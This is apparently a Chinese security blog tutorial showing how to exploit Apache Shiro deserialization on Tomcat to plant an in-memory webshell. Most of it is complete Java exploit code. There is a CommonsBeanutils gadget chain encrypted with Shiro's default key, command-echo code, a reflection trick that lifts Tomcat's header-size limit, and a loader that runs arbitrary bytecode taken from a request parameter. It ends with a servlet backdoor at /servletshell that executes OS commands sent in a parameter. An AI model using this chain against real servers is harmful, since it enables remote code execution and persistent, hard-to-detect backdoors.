shiro内存马注入
前言
学习一下如何通过shiro反序列化注入内存马(环境部署在tomcat中)
正文
在进行内存马注入之前,还是想先利用之前学的Tomcat通用回显方法来实现shiro反序列化的回显,这里利用cb链进行反序列化
Code.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.AbstractProtocol;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
public class Code extends AbstractTranslet {
public Code(){
try{
//获取service属性
WebappClassLoaderBase classLoaderBase= (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext= (StandardContext) classLoaderBase.getResources().getContext();
Field context=Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext= (ApplicationContext) context.get(standardContext);
Field servicef=applicationContext.getClass().getDeclaredField("service");
servicef.setAccessible(true);
StandardService service=(StandardService) servicef.get(applicationContext);
//获取connector
Connector[] connectors=service.findConnectors();
Connector connector=connectors[0];
//获取global
AbstractProtocol abstractProtocol= (AbstractProtocol) connector.getProtocolHandler();
Method getHandler=Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredMethod("getHandler");
getHandler.setAccessible(true);
Object connectionHandler=getHandler.invoke(abstractProtocol);
Method getGlobal=Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredMethod("getGlobal");
RequestGroupInfo global= (RequestGroupInfo) getGlobal.invoke(connectionHandler);
//获取request
Field processorsf=Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processorsf.setAccessible(true);
ArrayList<RequestInfo> processors= (ArrayList<RequestInfo>) processorsf.get(global);
RequestInfo requestInfo=processors.get(0);
Field req=Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
req.setAccessible(true);
org.apache.coyote.Request request1=(org.apache.coyote.Request) req.get(requestInfo);
Request request2=(Request) request1.getNote(1);
//获取response
Response response1=request2.getResponse();
Writer writer=response1.getWriter();
byte[] bytes = new byte[1024];
InputStream in = Runtime.getRuntime().exec("whoami").getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
writer.write(new String(baos.toByteArray()));
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
shiroexp.java
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.*;
import java.lang.reflect.Field;
import java.util.*;
public class shiroexp {
public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException, NotFoundException, CannotCompileException {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get("Code");
byte[] bytecode=cc.toBytecode();
byte[][] bytee= new byte[][]{bytecode};
TemplatesImpl templates=new TemplatesImpl();
setFieldValue(templates,"_bytecodes",bytee);
setFieldValue(templates,"_name","Code");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
BeanComparator compare=new BeanComparator();
PriorityQueue que=new PriorityQueue(2,compare);
que.add(1);
que.add(1);
setFieldValue(compare,"property","outputProperties");
setFieldValue(compare,"comparator",String.CASE_INSENSITIVE_ORDER);
setFieldValue(que,"queue",new Object[]{templates,templates});
ByteArrayOutputStream ser = new ByteArrayOutputStream();
ObjectOutputStream oser = new ObjectOutputStream(ser);
oser.writeObject(que);
oser.close();
byte[] payload= ser.toByteArray();
AesCipherService aes=new AesCipherService();
byte[] key= Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource encodepay= aes.encrypt(payload,key);
System.out.println(encodepay.toString());
}
public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field=obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj,value);
}
}
但是将生成的paylaod打过去后却报错了
看了下报错信息发现是我们的HTTP头长度过长,该怎么绕过呢
绕过Header长度限制
修改max size
在org.apache.coyote.http11.AbstractHttp11Protocol
中,使用maxHeadersize
规定了HTTP头的最大长度,只要我们通过反射修改其值,或许就可以绕过长度限制。开始编写poc
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.ProtocolHandler;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
public class Codea extends AbstractTranslet {
static{
try{
StandardContext standardContext= (StandardContext) ((WebappClassLoaderBase) Thread.currentThread().getContextClassLoader()).getResources().getContext();
Field context=Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
context.setAccessible(true);
Field servicef=org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
servicef.setAccessible(true);
StandardService service=(StandardService) servicef.get(((ApplicationContext) context.get(standardContext)));
//获取connector
Connector connector=(service.findConnectors())[0];
//获取global
ProtocolHandler abstractProtocol= connector.getProtocolHandler();
Method getHandler=Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredMethod("getHandler");
getHandler.setAccessible(true);
Object connectionHandler=getHandler.invoke(abstractProtocol);
RequestGroupInfo global= (RequestGroupInfo) Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredMethod("getGlobal").invoke(connectionHandler);
//获取request,修改header max size
Field processorsf=Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processorsf.setAccessible(true);
ArrayList<RequestInfo> processors= (ArrayList<RequestInfo>) processorsf.get(global);
Field req=Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
req.setAccessible(true);
Field headerSizeField = org.apache.coyote.http11.Http11InputBuffer.class.getDeclaredField("headerBufferSize");
headerSizeField.setAccessible(true);
for(int i=0;i<processors.size();i++){
headerSizeField.set(((org.apache.coyote.Request) req.get(processors.get(i))).getInputBuffer(),10000);
}
((org.apache.coyote.http11.AbstractHttp11Protocol) abstractProtocol).setMaxHttpHeaderSize(10000);
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
然后对其进行序列化
可以看到长度是7512,tomcat默认header最大长度设置为8192,如果直接抓包打过去的话还是会超长。所以我们还可以去掉不必要的http头,这里我去掉了Accept-Encoding | Referer | Upgrade-Insecure-Requests
回显正常,然后再将执行whoami
的payload打过去
可以看到,成功执行并获取回显
自定义ClassLoader
我们还可以自定义一个ClassLoader
,然后将我们的字节码放在请求体中,反序列化时去调用这个ClassLoader对请求体中的字节码进行加载
自定义ClassLoader像这样
public static class TestClassLoader extends ClassLoader{
public Class x(byte[] bytes){
return super.defineClass(null,bytes,0,bytes.length);
}
}
那么我们就能构造出如下POC
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.connector.Request;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.ProtocolHandler;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.Base64;
public class TestCL extends AbstractTranslet {
public static class TestClassLoader extends ClassLoader{
public Class x(byte[] bytes){
return super.defineClass(null,bytes,0,bytes.length);
}
}
static {
try{
StandardContext standardContext= (StandardContext) ((WebappClassLoaderBase) Thread.currentThread().getContextClassLoader()).getResources().getContext();
Field context=Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
context.setAccessible(true);
Field servicef=org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
servicef.setAccessible(true);
StandardService service=(StandardService) servicef.get(((ApplicationContext) context.get(standardContext)));
//获取connector
Connector connector=(service.findConnectors())[0];
//获取global
ProtocolHandler abstractProtocol= connector.getProtocolHandler();
Method getHandler=Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredMethod("getHandler");
getHandler.setAccessible(true);
Object connectionHandler=getHandler.invoke(abstractProtocol);
RequestGroupInfo global= (RequestGroupInfo) Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredMethod("getGlobal").invoke(connectionHandler);
//获取request
Field processorsf=Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processorsf.setAccessible(true);
RequestInfo requestInfo=((ArrayList<RequestInfo>) processorsf.get(global)).get(0);
Field req=Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
req.setAccessible(true);
Request request2=(Request) ((org.apache.coyote.Request) req.get(requestInfo)).getNote(1);
//加载
request2.getResponse().getWriter().write(request2.getParameter("code"));
Class x=new TestClassLoader().x(Base64.getDecoder().decode(request2.getParameter("code").getBytes(StandardCharsets.UTF_8)));
x.newInstance();
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} catch (InstantiationException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
但是在使用javassit获取TestCL
的字节码的时候我发现,实际上TestCL
的字节码和内部类的字节码是分开的,也就是我们并没有获取到TestClassLoader
的字节码,在编译生成的文件夹中也可以看到
不过怎样实现使用TemplatesImpl
加载两个类的字节码就是我的知识盲区了,所以还是换一种方法,通过反射调用defineClass
方法去加载类,稍微改一下就行
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.connector.Request;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.AbstractProtocol;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.Base64;
public class TestCL extends AbstractTranslet {
static {
try{
//获取service属性
StandardContext standardContext= (StandardContext) ((WebappClassLoaderBase) Thread.currentThread().getContextClassLoader()).getResources().getContext();
Field context=Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext= (ApplicationContext) context.get(standardContext);
Field servicef=applicationContext.getClass().getDeclaredField("service");
servicef.setAccessible(true);
StandardService service=(StandardService) servicef.get(applicationContext);
//获取connector
Connector[] connectors=service.findConnectors();
Connector connector=connectors[0];
//获取global
AbstractProtocol abstractProtocol= (AbstractProtocol) connector.getProtocolHandler();
Method getHandler=Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredMethod("getHandler");
getHandler.setAccessible(true);
Object connectionHandler=getHandler.invoke(abstractProtocol);
Method getGlobal=Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredMethod("getGlobal");
RequestGroupInfo global= (RequestGroupInfo) getGlobal.invoke(connectionHandler);
//获取request
Field processorsf=Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processorsf.setAccessible(true);
ArrayList<RequestInfo> processors= (ArrayList<RequestInfo>) processorsf.get(global);
RequestInfo requestInfo=processors.get(0);
Field req=Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
req.setAccessible(true);
Request request2=(Request) ((org.apache.coyote.Request) req.get(requestInfo)).getNote(1);
byte[] bytes=Base64.getDecoder().decode(request2.getParameter("code").getBytes(StandardCharsets.UTF_8));
Method defineClass=Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class x= (Class) defineClass.invoke(TestCL.class.getClassLoader(),bytes,0,bytes.length);
x.newInstance();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (InstantiationException e) {
e.printStackTrace();
} catch (NoSuchFieldException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
然后写一个类测试一下
import java.io.IOException;
public class test {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
获取其字节码并base64编码,然后配合poc试一下
成功加载
内存马注入
这里演示注入一个servlet
内存马,使用Thread.currentThread().getContextClassLoader()
来获取context
,进而进行注入,简单写一下POC
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.core.StandardWrapper;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.mapper.Mapper;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.concurrent.ConcurrentHashMap;
public class shiroServlet extends HttpServlet {
static {
try {
//获取context
StandardContext standardContext= (StandardContext) ((WebappClassLoaderBase) Thread.currentThread().getContextClassLoader()).getResources().getContext();
Field context=Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext= (ApplicationContext) context.get(standardContext);
//创建自定义wrapper
shiroServlet shell=new shiroServlet();
StandardWrapper shellWrapper=(StandardWrapper) standardContext.createWrapper();
shellWrapper.setServlet(shell);
shellWrapper.setServletClass(shell.getClass().getName());
shellWrapper.setParent(standardContext);
//获取service属性
Field servicef=applicationContext.getClass().getDeclaredField("service");
servicef.setAccessible(true);
StandardService service=(StandardService) servicef.get(applicationContext);
//获取mapper
Mapper mapper=service.getMapper();
//获取contextVersion
Field contextObjectToContextVersionMapf=mapper.getClass().getDeclaredField("contextObjectToContextVersionMap");
contextObjectToContextVersionMapf.setAccessible(true);
ConcurrentHashMap contextObjectToContextVersionMap=(ConcurrentHashMap) contextObjectToContextVersionMapf.get(mapper);
Object contextVersion=contextObjectToContextVersionMap.get(standardContext);
//调用addWrapper方法
Class[] classes=mapper.getClass().getDeclaredClasses();
Class classt=classes[1];
Method addWrapper=mapper.getClass().getDeclaredMethod("addWrapper", classt, String.class, Wrapper.class, boolean.class, boolean.class);
addWrapper.setAccessible(true);
addWrapper.invoke(mapper,contextVersion,"/servletshell",shellWrapper,false,false);
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
}
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String cmd=req.getParameter("cmd");
if(cmd!=null){
InputStream in = Runtime.getRuntime().exec("cmd /c "+cmd).getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
Writer writer=resp.getWriter();
writer.write(new String(baos.toByteArray()));
writer.flush();
}
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
}
}
结合上面说的绕过header长度限制的方法进行注入
注入成功